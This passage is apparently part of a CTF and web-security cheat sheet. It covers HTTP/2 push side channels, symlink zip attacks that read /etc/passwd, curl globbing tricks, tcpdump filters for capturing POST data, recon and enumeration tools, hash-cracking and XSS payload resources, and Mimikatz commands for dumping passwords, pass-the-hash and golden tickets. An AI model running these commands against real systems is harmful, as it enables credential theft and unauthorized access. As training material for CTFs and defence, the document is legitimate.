- Different push patterns indicate different search results
If the server pushes different resources for "user exists" vs "user doesn't exist":
- Push for "user=admin" might include dashboard resources
- Push for "user=random" might only include error page resources
- By measuring which resources are pushed, attacker can determine if user exists
The challenge used HTTP/2 push as a side channel. Different search queries resulted in different pushed resources, allowing contestants to enumerate valid usernames.
- Disable HTTP/2 push if not needed
- Don't push resources based on sensitive parameters
- Use consistent push patterns regardless of query results
ln -s ../../../../../../etc/passwd link
zip --symlink evil.zip linkHow it works:
- Create a symbolic link pointing to a sensitive file
- Zip the symlink with the
--symlinkflag to preserve it as a symlink - Upload the zip to the target
- When the target extracts it, they get a symlink to the sensitive file
-
File upload that extracts zip: If the application automatically extracts uploaded zip files, it may create symlinks pointing to system files.
-
Include/extract functionality: Any feature that extracts archives might be vulnerable.
-
Backup/restore functionality: Applications that restore from backups might extract malicious symlinks.
# Attacker creates symlink zip
import os
os.symlink('/etc/passwd', 'link')
import zipfile
with zipfile.ZipFile('evil.zip', 'w') as z:
z.write('link')
# Victim extracts
with zipfile.ZipFile('evil.zip', 'r') as z:
z.extractall()
# Now 'link' points to /etc/passwd- Use
ZipFile.extract()with caution - Check for symlinks before extraction
- Extract in a sandboxed environment
- Use
zipfile.ZipFilewithextractalland check members
curl 'fi[k-m]e:///etc/passwd'How it works: curl supports URL globbing (like shell wildcards). [k-m] matches any character from k to m. This can be used to:
- Brute force subdomains
- Discover files
- Bypass simple filters
curl '{file,http}://example.com'How it works: Brace expansion creates multiple URLs. This will try:
file://example.comhttp://example.com
# Follow redirects
curl -L http://target.com
# Send cookies
curl -b "session=abc123" http://target.com
# Save cookies
curl -c cookies.txt http://target.com
# Use proxy
curl -x http://proxy:8080 http://target.com
# Custom headers
curl -H "X-Forwarded-For: 127.0.0.1" http://target.com
# Upload file
curl -F "file=@shell.php" http://target.com/upload
# Verbose output (see headers)
curl -v http://target.com
# Silent mode (no progress)
curl -s http://target.comCTF Example - N1CTF 2021 "Funny_web":
The challenge required using curl's globbing features to discover hidden endpoints. Contestants used curl 'http://target.com/api/v[1-10]' to find versioned APIs.
# Capture all interfaces
tcpdump -i anyWhat it does: Listens on all network interfaces and displays packet information.
# Capture specific interface
tcpdump -i eth0Useful when you know which interface the traffic flows through.
# Capture with full packet data
tcpdump -s 0 -w capture.pcap-s 0captures entire packets (no truncation)-w capture.pcapwrites to a file for later analysis in Wireshark
# Filter by host
tcpdump host 192.168.1.1
tcpdump src 192.168.1.1
tcpdump dst 192.168.1.1# Filter by port
tcpdump port 80
tcpdump src port 80 and dst port 443# Complex filters
tcpdump 'src 192.168.1.1 and (dst port 80 or dst port 443)'# Capture HTTP requests
tcpdump -i any -A -s 0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)'
# Capture POST data
tcpdump -i any -s 0 -A 'tcp dst port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'
# Save to file for analysis
tcpdump -i eth0 host attacker.com -w output.pcap
# Read from file
tcpdump -r output.pcap
# Show packet contents in hex and ASCII
tcpdump -r output.pcap -XShodan (https://www.shodan.io/)
- Searches for internet-connected devices
- Filter by port, service, location
- Find vulnerable services exposed online
Censys (https://censys.io/)
- Internet-wide scan data
- Certificate transparency
- Host and service enumeration
ZoomEye (https://www.zoomeye.org/)
- Chinese alternative to Shodan
- Good for finding devices in Asia
Fofa (https://fofa.info/)
- Another internet search engine
- Useful for finding exposed services
crt.sh (https://crt.sh/)
- Search SSL/TLS certificates
- Find subdomains from certificate logs
- Historical certificate data
Censys Certificates (https://search.censys.io/certificates)
- Search certificates by issuer, subject, fingerprint
- Find certificates issued to a domain
DNSdumpster (https://dnsdumpster.com/)
- DNS recon tool
- Finds subdomains, MX records, TXT records
- Visual mapping of domain infrastructure
DomainIQ (https://www.domainiq.com/reverse_whois)
- Reverse WHOIS search
- Find domains owned by same entity
Robtex (https://www.robtex.com/)
- DNS lookup and routing information
- See IP neighbors and related domains
SecurityTrails (https://securitytrails.com/)
- DNS history
- Subdomain discovery
- API available
Sublist3r
python sublist3r.py -d example.comUses search engines to enumerate subdomains.
Amass
amass enum -d example.comDeep subdomain enumeration with multiple sources.
Assetfinder
assetfinder example.comFast, simple subdomain discovery.
WhatWeb
whatweb example.comIdentifies CMS, web servers, JavaScript libraries.
Wappalyzer Browser extension that shows technologies used on websites.
BuiltWith (https://builtwith.com/) Online tool for technology profiling.
GrayHatWarfare (https://buckets.grayhatwarfare.com/) Search for public S3 buckets.
AWSBucketDump
python AWSBucketDump.py -D bucketlist.txtChecks for readable S3 buckets.
Dirb
dirb http://target.comBasic directory brute forcer.
Gobuster
gobuster dir -u http://target.com -w wordlist.txtFast directory/file enumeration.
FFUF
ffuf -u http://target.com/FUZZ -w wordlist.txtFlexible fuzzing tool.
scrabble
python scrabble.py example.comFinds exposed .git repositories.
git-dumper
git-dumper http://target.com/.git/ ./repoDownloads entire .git repository.
dvcs-ripper
./rip-git.pl -u http://target.com/.git/Rips git, svn, mercurial repositories.
ds_store_exp
python ds_store_exp.py http://target.com/.DS_StoreParses .DS_Store files to list directory contents.
Online Databases:
- https://www.cmd5.com/ - MD5 reverse lookup
- https://www.somd5.com/ - MD5/SHA1 database
- https://crackstation.net/ - Large hash database
- https://hashkiller.co.uk/ - Hash cracking
Local Tools:
- Hashcat - GPU-accelerated cracking
- John the Ripper - Password cracking
Unicode Converters:
Other:
Online Execution:
- https://3v4l.org/ - Test PHP code across versions
Obfuscation/Encryption:
Payload Collections:
- https://github.com/Pgaijin66/XSS-Payloads
- https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
- https://tinyxss.terjanq.me/
Testing:
- XSSer - Automated XSS testing
- XSStrike - Advanced XSS scanner
- http://xssor.io/ - Online XSS payload generator
- http://dnsbin.zhack.ca/ - DNS callback server
- http://requestbin.net/dns - DNS request capture
- https://github.com/projectdiscovery/interactsh - OOB testing
- Burp Collaborator - Built into Burp Suite
CTF Example - DEFCON CTF 2019 Qual "ooops": DNS rebinding was used to bypass same-origin policy and access internal services.
Mimikatz:
# Dump passwords
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# Pass-the-hash
mimikatz.exe "sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:hash"
# Golden ticket
mimikatz.exe "kerberos::golden /domain:domain.local /sid:S-1-5-21-... /rc4:krbtgt_hash /user:Administrator /id:500 /ptt"
# Pass-the-ticket
mimikatz.exe "kerberos::ptt ticket.kirbi"PowerSploit: https://github.com/PowerShellMafia/PowerSploit
- https://wasdk.github.io/WasmFiddle/ - Online WebAssembly editor
- https://webassembly.studio/ - WebAssembly IDE
- https://github.com/WebAssembly/wabt - WebAssembly Binary Toolkit
- https://github.com/swisskyrepo/PayloadsAllTheThings
- https://book.hacktricks.xyz/
- https://gtfobins.github.io/ - Unix binaries for privilege escalation
- https://lolbas-project.github.io/ - Windows binaries for living off the land
- http://www.factordb.com/ - Integer factorization
- http://tool.leavesongs.com/ - Various encoding/decoding
- https://gchq.github.io/CyberChef/ - The Cyber Swiss Army Knife
- https://lelinhtinh.github.io/de4js/ - JavaScript deobfuscator
- https://www.unphp.net/ - PHP deobfuscator